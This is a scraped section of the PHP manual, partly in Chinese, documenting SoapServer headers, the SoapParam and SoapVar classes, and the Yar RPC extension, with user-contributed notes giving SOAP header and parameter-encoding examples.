  • SoapServer::addSoapHeader() - Add a SOAP header to the response

User Contributed Notes

yacahuma 27-Jan-2009 06:29
I was unable to connect to .net using any of the previous notes. I found out that the easiest way is the one that works. Everyone is trying to use soapvar . but you dont need to.

$ns = 'http://blabla.com/Services/Services';
$AuthHeader = new AuthHeader($LoginResponse);
$header =  new SoapHeader($ns,"AuthHeader",  $AuthHeader,false);
$this->soapClient->__setSoapHeaders(array($header));

my header was suppose to look like this
<soapenv:Header>
<ns1:AuthHeader>
<ns1:SessionKey>xxxx</ns1:SessionKey>
<ns1:SessionRole>xxxxx</ns1:SessionRole>
<ns1:UserType>xx</ns1:UserType>
<ns1:UserName>xxx</ns1:UserName>
</ns1:AuthHeader>
</soapenv:Header>

so my AuthHeader is just a simple class
class AuthHeader
{
  var $SessionKey;//string
  var $SessionRole;//string
  var $UserType;//string
  var $UserName;//string

  function __construct($LoginResponse)
  {
     $this->SessionKey  = $LoginResponse->LoginResult->SessionKey;
     $this->SessionRole = $LoginResponse->LoginResult->SessionRole;
     $this->UserType    = $LoginResponse->LoginResult->UserType;
     $this->UserName    = $LoginResponse->LoginResult->UserName;

  }
}

The important lesson here is the when you build your header you can use a normal class. It does not need to be a soapvar
aeolianmeson at dontfindme dot blitzeclipse dot com 07-May-2008 08:31
To do headers (the raw way):

    // Setting "trace" will allow us to view the request that we are making, after we have made it.
    $objClient = new SoapClient("http://www.somewhere.com/wsdls/some.wsdl", array('trace' => true));

    // These parameters satisfy this specific remote call.
    $arrParameters_Login = array('username' => 'username', 'password' => 'password', 'company' => 'Company');

    // Invoke the remote call "login()".
    $objLogin =  $objClient->login($arrParameters_Login);

    // Grab session ID that this remote call will provide.
    $strSessionID = $objLogin->loginReturn->sessionId;

    // Set headers-- The remote call "query()" will require a header pointing to our session.

    $strHeaderComponent_Session = "<SessionHeader><sessionId>$strSessionID</sessionId></SessionHeader>";

    $objVar_Session_Inside = new SoapVar($strHeaderComponent_Session, XSD_ANYXML, null, null, null);
    $objHeader_Session_Outside = new SoapHeader('namespace.com', 'SessionHeader', $objVar_Session_Inside);

    // More than one header can be provided in this array.
    $objClient->__setSoapHeaders(array($objHeader_Session_Outside));

    // Set the query parameters.

    $strQuery = 'select empID from Time where empID = 92389278';
    $arrParameters_Query = array('queryString' => $strQuery);

    // Make call.

    $objResponse = $objClient->query($arrParameters_Query);

    header('Content-Type: text/xml; ');
    print($objClient->__getLastRequest());

The request that goes out:

<SOAP-ENV:Envelope>
    <SOAP-ENV:Header>
        <SessionHeader>
            <sessionId>8789364113604871127</sessionId>
        </SessionHeader>
    </SOAP-ENV:Header>
    <SOAP-ENV:Body>
        <ns1:query>
            <ns1:queryString>select empID from Time where empID = 92389278</ns1:queryString>
        </ns1:query>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>
harlan at plauditdesign dot com 15-Mar-2006 11:04
Here is a way to get headers on the server side. It will fill up an assoc with all headers in a namespace. In its current state, it only handles text content; but each header is expanded to a DOMNode, so you can do whatever you wish to parse custom types.

In my case this method is useful because I want to pass PHPSESSID in a SOAP header, and I need to set it before I even call SoapServer::handle().

//
// READ SOAP HEADERS, STOP READING AT SOAPENV:BODY ELEMENT
//
$xml = new XmlReader();
$xml->XML( $HTTP_RAW_POST_DATA );

$shoppingCartHeaders = array();
while( $xml->read() ) {
    if( $xml->namespaceURI == "urn:com.plauditdesign.shoppingcart.client.headers#"
        && $xml->nodeType == XMLReader::ELEMENT ) {

        $headerNode = $xml->expand();
        $shoppingCartHeaders[ $xml->localName ] = $headerNode->textContent;
    } elseif( $xml->namespaceURI == "http://schemas.xmlsoap.org/soap/envelope/"
        && $xml->nodeType == XMLReader::ELEMENT
        && $xml->localName == "Body" ) {

        $xml->close();
    }
}

...

if( isset( $shoppingCartHeaders["sessionId"] ) ) {
    session_id( $shoppingCartHeaders["sessionId"] );
}

...

$server->setPersistence( SOAP_PERSISTENCE_SESSION );
$server->handle();
jared DOT kuolt at gmail dot com 28-Oct-2005 09:57
To build the authentication headers like below FOR WSDL:

**NOTE** I cannot find documentation on the __setSoapHeaders() method, though it does work in 5.0.4

<?php

class MySoapClass
{

    function __construct(){
        // Blah blah blah
        $this->soap = new SoapClient($this->foo, $this->bar);

    }

    // Build that header!
    private function build_auth_header(){
        // Build an object with parameters
        $auth->username = $this->username;
        $auth->password = $this->password;

        $authvalues = new SoapVar($auth, SOAP_ENC_OBJECT);
        $header =  new SoapHeader($this->name_space, "Authentication", // Rename this to the tag you need
                                                          $authvalues, false);

        $this->soap->__setSoapHeaders(array($header));

    }

    // Wrapper so we can build auth header first
    public function MySoapFunction($params){

        $this->build_auth_header();
        $this->soap->MySoapFunction($params);

    }

}
?>
mobi at delfnet dot pl 31-May-2005 12:24
In botoom code is bug.

is:

// create authentication header values
$authvalues=new SoapVar($auth,SOAP_ENC_OBJECT,'authenticate');

should be:

// create authentication header values
$authvalues=new SoapVar($auth,SOAP_ENC_OBJECT);
clewis at myfonts dot com 09-Feb-2005 08:52
If you are using WSDL to define your SOAP Headers, note that PHP's SoapServer class will not process incoming headers unless the <message> and <part> names are identical for the header methods.

Define a SOAP header function like this in WSDL:

<!-- replace "tns:" with your own namespace abbreviation -->

<!-- define method arguments using a complexType -->
<xsd:complexType name="HeaderMethodArgs">
    <xsd:all>
        <xsd:element ... name="arg1"/>
        <xsd:element ... name="arg2"/>
    </xsd:all>
</xsd:complexType>

<!-- define method message with single part -->
<message name='headerMethodName'>
    <part name='headerMethodName' type='tns:HeaderMethodArgs'/>
</message>

<!-- add header tag to operations that use this header -->
<operation name='someBodyMethod'>
    ...
    <input>
        <soap:body .../>
        <soap:header
            ...
            message='tns:headerMethodName'
            part='headerMethodName'
        />
    </input>
    <output>...</output>
</operation>


The SoapParam class

(PHP 5, PHP 7)

简介

Represents parameter to a SOAP call.

类摘要

SoapParam {
/* 方法 */
__construct ( mixed $data , string $name )
SoapParam ( mixed $data , string $name )
}

Table of Contents

  • SoapParam::__construct — SoapParam constructor
  • SoapParam::SoapParam — SoapParam constructor

User Contributed Notes

There are no user contributed notes for this page.


SoapParam constructor

  • ? SoapParam
  • SoapParam::SoapParam ?
  • PHP Manual
  • SoapParam
  • SoapParam constructor

SoapParam::__construct

(PHP 5, PHP 7)

SoapParam::__construct — SoapParam constructor

说明

SoapParam::__construct ( mixed $data , string $name )

此函数是该函数的别名： SoapParam::SoapParam()

User Contributed Notes

There are no user contributed notes for this page.


SoapParam constructor

  • ? SoapParam::__construct
  • SoapVar ?
  • PHP Manual
  • SoapParam
  • SoapParam constructor

SoapParam::SoapParam

(PHP 5, PHP 7)

SoapParam::SoapParam — SoapParam constructor

说明

SoapParam::SoapParam ( mixed $data , string $name )

Constructs a new SoapParam object.

参数

data

The data to pass or return. This parameter can be passed directly as PHP value, but in this case it will be named as paramN and the SOAP service may not understand it.

name

The parameter name.

范例

Example #1 SoapParam::SoapParam() example

<?php
$client = new SoapClient(null,array('location' => "http://localhost/soap.php",
                                    'uri'      => "http://test-uri/"));
$client->SomeFunction(new SoapParam($a, "a"),
                      new SoapParam($b, "b"),
                      new SoapParam($c, "c"));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapVar::SoapVar() - SoapVar constructor

User Contributed Notes

lyroe_chan at hotmail dot com 16-Jan-2014 12:33
If you want  to create a SOAP parameter like:

<a n="something">DATA</a>

You can try like this:

array('a' => array('_' => 'DATA', 'n'=>'something'));

This will generated xml like this:
<a n="something">DATA</a>
mjordan at sfu dot ca 15-Nov-2013 12:52
You can also pass parameters (at least simple ones) to SOAP functions like this:

<?php
  $return = $client->someFunction(array('paramName' => 'paramValue'));
?>
Alex 24-Feb-2010 05:20
You probably want to try SoapVar instead of SoapParam if you want to specify attributes/namespace.
Alex 24-Feb-2010 05:18
Make sure to always cast your parameters prior to creating a SoapParam.  Otherwise you will wind up with an incorrect xsi:type and possibly no value.

$value = 0;
$param0 = new SoapParam(
                $value, $param0_name);

will give you:

<$param0_name xsi:type="xsd:null"></$param0_name>

while:

$value = 0;
$param0 = new SoapParam(
                (int)$value, $param0_name);

<$param0_name xsi:type="xsd:int">0</$param0_name>

which is probably what you want.
barryking93 at gmail dot com 05-Dec-2007 02:42
You have to use SoapVar instead of SoapParam if you want it to do something fancy like using different opening and closing tags.  I ran into this using the SOAP API for Zimbra.
Jeremy 12-Jul-2007 08:31
Is there anyway to create a SOAP parameter like:

<a n="something">DATA</a>

If I try to form a param using the following code the resulting request is:

Code: SoapParam("DATA", "a n=\"something\"");
Result: <a n="something">DATA</a n="something">

This is giving me an error from the SOAP server because its expecting a properly formed closing tag without the encapsulated attribute.


The SoapVar class

(PHP 5, PHP 7)

简介

A class representing a variable or object for use with SOAP services.

类摘要

SoapVar {
/* 方法 */
__construct ( mixed $data , string $encoding [, string $type_name [, string $type_namespace [, string $node_name [, string $node_namespace ]]]] )
SoapVar ( mixed $data , string $encoding [, string $type_name [, string $type_namespace [, string $node_name [, string $node_namespace ]]]] )
}

Table of Contents

  • SoapVar::__construct — SoapVar constructor
  • SoapVar::SoapVar — SoapVar constructor

User Contributed Notes

seth dot johnson at gmail dot com 25-Feb-2015 12:09
It is not documented and thus may be subject to change but if you need to inspect the constructed SoapVar it sets everything you pass it on public variables:

<?php
$foo = new \stdClass();
$foosoap = new \SoapVar($foo, SOAP_ENC_OBJECT, 'Foo');
var_dump($foosoap);
echo $foosoap->enc_stype;
echo get_class($foosoap->enc_value);
?>

Will output (tested in PHP 5.3.3 cli):

object(SoapVar)#2 (3) {
  ["enc_type"]=>
  int(301)
  ["enc_value"]=>
  object(stdClass)#1 (0) {
  }
  ["enc_stype"]=>
  string(3) "Foo"
}

Foo
stdClass


SoapVar constructor

  • ? SoapVar
  • SoapVar::SoapVar ?
  • PHP Manual
  • SoapVar
  • SoapVar constructor

SoapVar::__construct

(PHP 5, PHP 7)

SoapVar::__construct — SoapVar constructor

说明

SoapVar::__construct ( mixed $data , string $encoding [, string $type_name [, string $type_namespace [, string $node_name [, string $node_namespace ]]]] )

此函数是该函数的别名： SoapVar::SoapVar()

User Contributed Notes

There are no user contributed notes for this page.


SoapVar constructor

  • ? SoapVar::__construct
  • Yar ?
  • PHP Manual
  • SoapVar
  • SoapVar constructor

SoapVar::SoapVar

(PHP 5, PHP 7)

SoapVar::SoapVar — SoapVar constructor

说明

SoapVar::SoapVar ( mixed $data , string $encoding [, string $type_name [, string $type_namespace [, string $node_name [, string $node_namespace ]]]] )

Constructs a new SoapVar object.

参数

data

The data to pass or return.

encoding

The encoding ID, one of the XSD_... constants.

type_name

The type name.

type_namespace

The type namespace.

node_name

The XML node name.

node_namespace

The XML node namespace.

范例

Example #1 SoapVar::SoapVar() example

<?php
class SOAPStruct {
    function SOAPStruct($s, $i, $f)
    {
        $this->varString = $s;
        $this->varInt = $i;
        $this->varFloat = $f;
    }
}
$client = new SoapClient(null, array('location' => "http://localhost/soap.php",
                                     'uri'      => "http://test-uri/"));
$struct = new SOAPStruct('arg', 34, 325.325);
$soapstruct = new SoapVar($struct, SOAP_ENC_OBJECT, "SOAPStruct", "http://soapinterop.org/xsd");
$client->echoStruct(new SoapParam($soapstruct, "inputStruct"));
?>

参见

  • SoapClient::__soapCall() - Calls a SOAP function
  • SoapParam::SoapParam() - SoapParam constructor

User Contributed Notes

sergio-eom at gmail dot com 14-Jun-2019 02:47
Example Parameters ArrayMultidimencional

try {

            // Set ClienteSOAP
            $ws = new \SoapClient($this->getWSUrl()
                , [
//                    'trace' => true,
                    'encoding' => 'utf-8',
                    'connection_timeout' => '10',
                    'cache_wsdl' => WSDL_CACHE_MEMORY,
                ]);

            // Get Parametros
            $parametersArray = $this->getParametersToEnviarSolicitudTextXml();

            // Format
            $parm = array();
            $subparm = array();
            $parm[] = new SoapVar($parametersArray['token'], XSD_STRING, null, null, 'token');
            $parm[] = new SoapVar($parametersArray['usuario'], XSD_STRING, null, null, 'usuario');
            $subparm[] = new SoapVar($parametersArray['archivo']['fileType'], XSD_STRING, null, null, 'fileType');
            $subparm[] = new SoapVar($parametersArray['archivo']['nombre'], XSD_STRING, null, null, 'nombre');
            $subparm[] = new SoapVar($parametersArray['archivo']['xml'], XSD_STRING, null, null, 'xml');
            $parm[] = new SoapVar($subparm, SOAP_ENC_OBJECT, null, null, 'archivo');
            $resp = new SoapVar($parm, SOAP_ENC_OBJECT);

            // Get datos WS Senasa
            $data = json_decode(json_encode($ws->generarSolicitud($resp)->return), true);

        } catch (SoapFault $e) {

            $data = array();
            throw new Exception($e->getMessage());

        } finally {
            return $data;
        }
ericvaneldik at gmail dot com 08-Apr-2019 07:15
If you want to create an soap header wihtout namespace and without an item key value setup, you can use SoapVar

To get this:
<SOAP-ENV:Header>
    <IdentityHeader>
      <SessionID>123456789</SessionID>
    </IdentityHeader>
  </SOAP-ENV:Header>

you can use this php code:
<?php
$headerVar = new SoapVar('<IdentityHeader><SessionID>123456789</SessionID></IdentityHeader>',
      XSD_ANYXML);
$header = new SoapHeader('http://tempuri.org/','RequestParams',
      $headerVar);
?>
J. Fiala 08-Nov-2017 03:51
In WSDL-mode you can simply use an object as request and php-soap will map attribute and node-values automatically!
So there's no need to use SoapParam/SoapVar or whatever.

Just use plain objects in WSDL mode and happy soap'ing.
Francesco Nardone 26-Mar-2014 01:50
I spent hours trying to find how to send a request where an element is repeated. Here is how I managed to do it:
<?php
$parm = array();
$parm[] = new SoapVar('123', XSD_STRING, null, null, 'customerNo' );
$parm[] = new SoapVar('THIS', XSD_STRING, null, null, 'selection' );
$parm[] = new SoapVar('THAT', XSD_STRING, null, null, 'selection' );
$resp = $client->getStuff( new SoapVar($parm, SOAP_ENC_OBJECT) );
?>

This will send something like:
<getStuff>
  <customerNo>123</customerNo>
  <selection>THIS</selection>
  <selection>THAT</selection>
</getStuff>

Hope this will save someone else's time.
it at teamamericany dot com 19-Jul-2013 09:13
To send requests containing ComplexTypes we needed to create stdClass objects for each ComplexType. If the ComplexType has an attribute we created a class with all the fields and attributes as members and added this class to the classmap with the correct type name from the wsdl. For example:

 //to create soap client
            $soapClient = new SoapClient("<your wsdl url>",
                 array('classmap' => array('RoomType' => 'RoomType'), 'trace' => 1));

             //creating request object using custom class since there is an attribute needed

    class RoomType {
        //attribute
        var $code;
        var $name;
    }
            $RoomType = new RoomType();
            $RoomType->code = $code;

                        //plain stdClass is ok since no attributes defined
            $LRoomCode = new stdClass();
            $LRoomCode->RoomType = new SoapVar($RoomType, SOAP_ENC_OBJECT, "RoomType", "<your namespace url from wsdl>");

            //define a basic class object since attributes are not needed for this complex type
             $RateAvailabilityReq = new stdClass();
             $RateAvailabilityReq->LRoomCode = new SoapVar($LRoomCode, SOAP_ENC_OBJECT, "ArrayOfRoomType", "<your namespace url>");
            $RateAvailabilityReq->idB2BHotel = $idB2BHotel;
             $RateAvailabilityReq->idProduct = $idProduct;
             $RateAvailabilityReq->lenght = $lenght;
            $RateAvailabilityReq->nameDistributor = $nameDistributor;
            $RateAvailabilityReq->password = $password;
            $RateAvailabilityReq->propertyCode = $propertyCode;
             $RateAvailabilityReq->startDate = $startDate;
             $RateAvailabilityReq->userName = $userName;
             $RateUpdateReqType = new SoapVar($RateAvailabilityReq , SOAP_ENC_OBJECT, "RateAvailabilityReq", "<your namespace url>");

             $soapRequestType = new stdClass();
             $soapRequestType->in0 = $RateUpdateReqType;
             $getRateAvailabilityReq = new SoapVar($soapRequestType , SOAP_ENC_OBJECT, "getRateAvailability", "<your namespace url>");

             $result = $soapClient->getRateAvailability($getRateAvailabilityReq);

Reading attributes from ComplexType response objects also required a custom class added to the classmap array with the attribute as a member of the class.
Joni Lindqvist 25-Oct-2012 08:49
I worked for hours to figure out how to create following structure:

<ns:Foo attr='bar'>
   <ns:Baz attr='foobar'>barbaz</ns:Baz>
</ns:Foo>

It can be done with following array structure:

$arr = array(
  'Foo' => array(
     'attr'=>'bar',
     'Baz'=>array( '_' => 'barbaz', 'attr'=>'foobar')
  )
);
tcell 29-Feb-2012 06:53
One potential gotcha with this is that if the XML you are passing in has the <?xml... declaration, it may cause problems on the server side. It's best to strip this out with str_replace.
Krzych 03-Dec-2010 06:54
It might be obvious to some but not to everyone
if you ever wondered how to encode attribute in soap object, use proper coding and not hacking by passing xml and flag XSD_ANYXML

try using this
<?php
 $amount['_'] = 25;
 $amount['currencyId'] = 'GBP';
 $encodded = new SoapVar($amount, SOAP_ENC_OBJECT);

?>
and end result wound be
<amount currencyId="GBP">25</amount>

hope that helps someone
cb at wasteland dot org 02-Jul-2009 02:01
If you need to add attributes XML entities in your SOAP query like this:

"<FilterBy Column="Id" FilterOperator="=" FilterValue="NUMBER" Table="Case">"

Use SoapVar() with the type XSD_ANYXML as shown below.  Example uses __soapCall and other SoapParams.

<?php
$response = $client->__soapCall('GetFilteredRecordList',
    array(new SoapParam($DSToken, 'Token'),
          new SoapParam('Slide', 'TableName'),
          new SoapVar('<FilterBy Column="Id" FilterOperator="=" FilterValue="NUMBER" Table="Case"/>', XSD_ANYXML)),
    array('soapaction' => 'http://www.example.com/webservices/GetFilteredRecordList'));
?>

Use this so you don't waste HOURS looking around:
OrionI 11-Jul-2005 07:30
This class is useful when dealing with the "anyType" type (generic object reference): it lets you specify the xsd type to provide "late binding" type information.

Here's a really simple example: I have a .NET service that can take a string, a date, and integer, or other types, so I use the .NET "object" type. Here's an example of such a service--this one just tells me what type I passed in. (It's nice to use when checking to see if PHP passed in the type information the way .NET expects it.)

//inside a service.asmx.cs file...
[WebMethod]
public string WhatTypeIsThis(object ObjectParameter)
{
   return "You passed in a " + ObjectParameter.GetType().Name
     + ": " + ObjectParamter.ToString();
}

To call this service with a string from PHP, I used this code:
<?php
//set up the service client using WSDL
$client = new SoapClient("http://localhost/folder/service.asmx?WSDL");

//This is the variable that will be typed as an XSD string
$typedVar = new SoapVar("mystring", XSD_STRING, "string", "http://www.w3.org/2001/XMLSchema");
//This is the wrapper object for incoming parameters
$wrapper->ObjectParameter = $typedVar;
//This is the named parameter object that will be passed in to the service
$params = new SoapParam($wrapper, "WhatTypeIsThis");

//call the service with the string
$result = $client->WhatTypeIsThis($params);
//show the result
echo $result->WhatTypeIsThisResult;
?>

The output from this should be:
"You passed in a String: mystring"

The SOAP message that is passed in looks like this:
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:ns1="http://tempuri.org/">
    <SOAP-ENV:Body>
        <ns1:WhatTypeIsThis>
            <ns1:ObjectParameter xsi:type="xsd:string">mystring</ns1:ObjectParameter>
        </ns1:WhatTypeIsThis>
    </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

It's that xsi:type="xsd:string" that gives .NET the heads up that though the ObjectParameter is being passed in as an object, it is also a string.

When trying other types, it's helpful to see exactly what is being sent to the service--to see the SOAP messages like the one above, use the trace option when making your SOAP client and then call the $client->__getLastRequest() function. (See http://www.php.net/soap_soapclient_getlastrequest)  You may need to use try/catch constructs if you're generating errors.

Another helpful function is var_dump($client->__getTypes())--it shows how PHP parsed the WSDL file to create types to pass back and forth.


Yet Another RPC Framework

  • 简介
  • 安装／配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • 范例
  • Yar_Server — The Yar_Server class
    • Yar_Server::__construct — 创建一个HTTP RPC Server
    • Yar_Server::handle — 启动HTTP RPC Server
  • Yar_Client — The Yar_Client class
    • Yar_Client::__call — 调用远程服务
    • Yar_Client::__construct — 创建一个客户端实例
    • Yar_Client::setOpt — 设置调用的配置
  • Yar_Concurrent_Client — The Yar_Concurrent_Client class
    • Yar_Concurrent_Client::call — 注册一个并行的服务调用
    • Yar_Concurrent_Client::loop — 发送所有注册的并行调用
  • Yar_Server_Exception — The Yar_Server_Exception class
    • Yar_Server_Exception::getType — 获取异常的原始类型
  • Yar_Client_Exception — The Yar_Client_Exception class
    • Yar_Client_Exception::getType — The getType purpose

User Contributed Notes

There are no user contributed notes for this page.


简介

Yar 是一个轻量级, 高效的RPC框架, 它提供了一种简单方法来让PHP项目之间可以互相远程调用对方的本地方法. 并且Yar也提供了并行调用的能力. 可以支持同时调用多个远程服务的方法.

User Contributed Notes

There are no user contributed notes for this page.


需求

如果需要使用Msgpack作为打包协议, 则需要在configure的时候加上--enable-msgpack, 并且要保证Msgpack扩展也安装到PHP内.

User Contributed Notes

There are no user contributed notes for this page.


安装

此 » PECL 扩展未与 PHP 捆绑。

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/yar.

PECL 扩展的 DLL 当前不可用。参见 在 Windows 上构建章节。

User Contributed Notes

liubinn_208391 at qq dot com 08-Dec-2013 05:35
Yar Concurrent Client doesn't work on Mac OS.  It is because the cURL shipped with Mac has some difference.

you can resolve that by install a new cURL, like (brew install curl).

then use :
"export DYLD_LIBRARY_PATH=/path-to-new-curl/lib:$DYLD_LIBRARY_PATH"

make the PHP use the new cURL.

of course you can also re-compile your PHP with --with-curl=/path-to-new-curl/


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Yar 配置选项
名字 | 默认 | 可修改范围 | 更新日志
yar.packager | php | PHP_INI_SYSTEM |
yar.debug | Off | PHP_INI_ALL |
yar.connect_timeout | 1000 | PHP_INI_ALL |
yar.timeout | 5000 | PHP_INI_ALL |
yar.expose_info | On | PHP_INI_SYS |

这是配置指令的简短说明。

yar.packager string

设置Yar的打包工具, 可以是PHP(serialize), JSON, Msgpack(这个需要编译的时候指定--enable-msgpack).

yar.debug string

打开的时候, Yar会把请求过程的日志都打印出来(到stderr).

yar.connect_timeout integer

连接超时(毫秒为单位)

yar.timeout integer

处理超时(毫秒为单位)

yar.expose_info bool

如果关闭, 则当通过浏览器访问Server的时候, 不会出现Server Info信息.

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

YAR_VERSION (string)
YAR_CLIENT_PROTOCOL_HTTP (integer)
YAR_CLIENT_OPT_PACKAGER (integer)
YAR_CLIENT_OPT_TIMEOUT (integer)
YAR_CLIENT_OPT_CONNECT_TIMEOUT (integer)
YAR_PACKAGER_PHP (string)
YAR_PACKAGER_JSON (string)
YAR_ERR_OKEY (integer)
YAR_ERR_OUTPUT (integer)
YAR_ERR_TRANSPORT (integer)
YAR_ERR_REQUEST (integer)
YAR_ERR_PROTOCOL (integer)
YAR_ERR_PACKAGER (integer)
YAR_ERR_EXCEPTION (integer)

User Contributed Notes

There are no user contributed notes for this page.


范例

Example #1 Yar Server示例

<?php

/* 假设这个页面的访问路径是: http://example.com/operator.php */

class Operator {

    /**
     * Add two operands
     * @param interge
     * @return interge
     */
    public function add($a, $b) {
        return $this->_add($a, $b);
    }

    /**
     * Sub
     */
    public function sub($a, $b) {
        return $a - $b;
    }

    /**
     * Mul
     */
    public function mul($a, $b) {
        return $a * $b;
    }

    /**
     * Protected methods will not be exposed
     * @param interge
     * @return interge
     */
    protected function _add($a, $b) {
        return $a + $b;
    }
}

$server = new Yar_Server(new Operator());
$server->handle();
?>

Example #2 通过浏览器访问(GET请求)

以上例程的输出类似于：

Yar Server Info

Example #3 Yar Client示例

<?php
$client = new yar_client("http://example.com/operator.php");

/* call directly */
var_dump($client->add(1, 2));

/* call via call */
var_dump($client->call("add", array(3, 2)));

/* __add can not be called */
var_dump($client->_add(1, 2));
?>

以上例程的输出类似于：

int(3)
int(5)
PHP Fatal error:  Uncaught exception 'Yar_Server_Exception' with message 'call to api Operator::_add() failed' in *

Example #4 Yar Concurrent Client示例

<?php
function callback($ret, $callinfo) {
    echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* 注册一个异步调用 */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::call("http://example.com/operator.php", "mul", array(2, 2), "callback");

/* 发送所有注册的调用, 等待返回, 返回后Yar会调用callback回掉函数 */
Yar_Concurrent_Client::loop();
?>

以上例程的输出类似于：

mul result: 4
sub result: 1
add result: 3

User Contributed Notes

124960772 at qq dot com 10-Nov-2015 11:03
<?php
function callback($ret, $callinfo) {
    echo $callinfo['method'] , " result: ", $ret , "\n";
}

/* 注册一个异步调用 */
Yar_Concurrent_Client::call("http://example.com/operator.php", "add", array(1, 2), "callback");
/* 发送所有注册的调用, 等待返回, 返回后Yar会调用callback回掉函数 */
Yar_Concurrent_Client::loop();
/* 重置call ,否则上面的call会调用*/
Yar_Concurrent_Client::reset();
Yar_Concurrent_Client::call("http://example.com/operator.php", "sub", array(2, 1), "callback");
Yar_Concurrent_Client::loop();

?>


The Yar_Server class

(No version information available, might only be in Git)

简介

类摘要

Yar_Server {
/* 属性 */
protected $_executor ;
/* 方法 */
final public __construct ( Object $obj )
public handle ( void ) : boolean
}

属性

_executor

Table of Contents

  • Yar_Server::__construct — 创建一个HTTP RPC Server
  • Yar_Server::handle — 启动HTTP RPC Server

User Contributed Notes

There are no user contributed notes for this page.


创建一个HTTP RPC Server

  • ? Yar_Server
  • Yar_Server::handle ?
  • PHP Manual
  • Yar_Server
  • 创建一个HTTP RPC Server

Yar_Server::__construct

(PECL yar >= 1.0.0)

Yar_Server::__construct — 创建一个HTTP RPC Server

说明

final public Yar_Server::__construct ( Object $obj )

创建一个Yar的HTTP RPC服务，参数 $obj 对象的所有公开方法都会被注册为服务函数， 可以被RPC调用。

参数

obj

一个对象实例, 这个对象的所有公开方法都会被注册为服务函数.

返回值

返回一个Yar_Server的实例。

范例

Example #1 Yar_Server::__construct()示例

<?php
class API {
    /**
     * the doc info will be generated automatically into service info page.
     * @params
     * @return
     */
    public function some_method($parameter, $option = "foo") {
         return "some_method";
    }

    protected function client_can_not_see() {
    }
}

$service = new Yar_Server(new API());
$service->handle();
?>

以上例程的输出类似于：

参见

  • Yar_Server::handle() - 启动HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


启动HTTP RPC Server

  • ? Yar_Server::__construct
  • Yar_Client ?
  • PHP Manual
  • Yar_Server
  • 启动HTTP RPC Server

Yar_Server::handle

(PECL yar >= 1.0.0)

Yar_Server::handle — 启动HTTP RPC Server

说明

public Yar_Server::handle ( void ) : boolean

启动服务, 开始接受客户端的调用请求.

Note:

来自客户端的调用, 都是通过POST请求发送过来的. 如果一个GET请求访问到这个Server, 那在yar.expose_info开启的情况下, 这个服务的Server Info信息会被展现.

参数

此函数没有参数。

返回值

boolean

范例

Example #1 Yar_Server::handle()示例

<?php
class API {
    /**
     * the doc info will be generated automatically into service info page.
     * @params
     * @return
     */
    public function some_method($parameter, $option = "foo") {
    }

    protected function client_can_not_see() {
    }
}

$service = new Yar_Server(new API());
$service->handle();
?>

以上例程的输出类似于：

参见

  • Yar_Server::__construct() - 创建一个HTTP RPC Server
    •

User Contributed Notes

There are no user contributed notes for this page.


The Yar_Client class

(No version information available, might only be in Git)

简介

类摘要

Yar_Client {
/* 属性 */
protected $_protocol ;
protected $_uri ;
protected $_options ;
protected $_running ;
/* 方法 */
public __call ( string $method , array $parameters ) : void
final public __construct ( string $url )
public setOpt ( number $name , mixed $value ) : boolean
}

属性

_protocol

_uri

_options

_running

Table of Contents

  • Yar_Client::__call — 调用远程服务
  • Yar_Client::__construct — 创建一个客户端实例
  • Yar_Client::setOpt — 设置调用的配置

User Contributed Notes

porschegt23 at foxmail dot com 05-Jul-2016 11:07
A simple example on here:

server.php
<?php
class API {

    public function api($parameter = "", $option = "foo") {
          return $this->client_can_not_see($parameter);
    }

    public function doAdd($a = 0, $b = 0) {
          return $a+$b;
    }

    protected function client_can_not_see( $name ) {
      return "你好$name~";
    }
}

$service = new Yar_Server ( new API () );
$service->handle ();
?>
client.php
<?php
  $client = new Yar_Client("http://host/server.php");
  $result = $client->api("parameter");
  echo $result.'<hr>';
  echo $client->doAdd(10, 20);
?>


调用远程服务

  • ? Yar_Client
  • Yar_Client::__construct ?
  • PHP Manual
  • Yar_Client
  • 调用远程服务

Yar_Client::__call

(PECL yar >= 1.0.0)

Yar_Client::__call — 调用远程服务

说明

public Yar_Client::__call ( string $method , array $parameters ) : void

发起一个RPC调用, 并且得到返回值. 如果服务端的远程调用抛出异常, 那么本地也会相应的抛出一个Yar_Server_Exception异常.

参数

method

远程服务的名字.

parameters

调用参数.

返回值

范例

Example #1 Yar_Client::__call() example

<?php

$client = new Yar_Client("http://host/api/");

/* 调用远程服务的some_method服务 */
$result = $client->some_method("parameter");

?>

以上例程的输出类似于：

参见

  • Yar_Client::setOpt() - 设置调用的配置
    •

User Contributed Notes

There are no user contributed notes for this page.


创建一个客户端实例

  • ? Yar_Client::__call
  • Yar_Client::setOpt ?
  • PHP Manual
  • Yar_Client
  • 创建一个客户端实例

Yar_Client::__construct

(PECL yar >= 1.0.0)

Yar_Client::__construct — 创建一个客户端实例

说明

final public Yar_Client::__construct ( string $url )

创建一个Yar_Client 到一个 Yar_Server的实例.

参数

url

服务端的HTTP URL路径.

返回值

Yar_Client实例.

范例

Example #1 Yar_Client::__construct()示例

<?php
$client = new Yar_Client("http://host/api/");
?>

以上例程的输出类似于：

参见

  • Yar_Client::__call() - 调用远程服务
    •

  • Yar_Client::setOpt() - 设置调用的配置
    •

User Contributed Notes

There are no user contributed notes for this page.


设置调用的配置

  • ? Yar_Client::__construct
  • Yar_Concurrent_Client ?
  • PHP Manual
  • Yar_Client
  • 设置调用的配置

Yar_Client::setOpt

(PECL yar >= 1.0.0)

Yar_Client::setOpt — 设置调用的配置

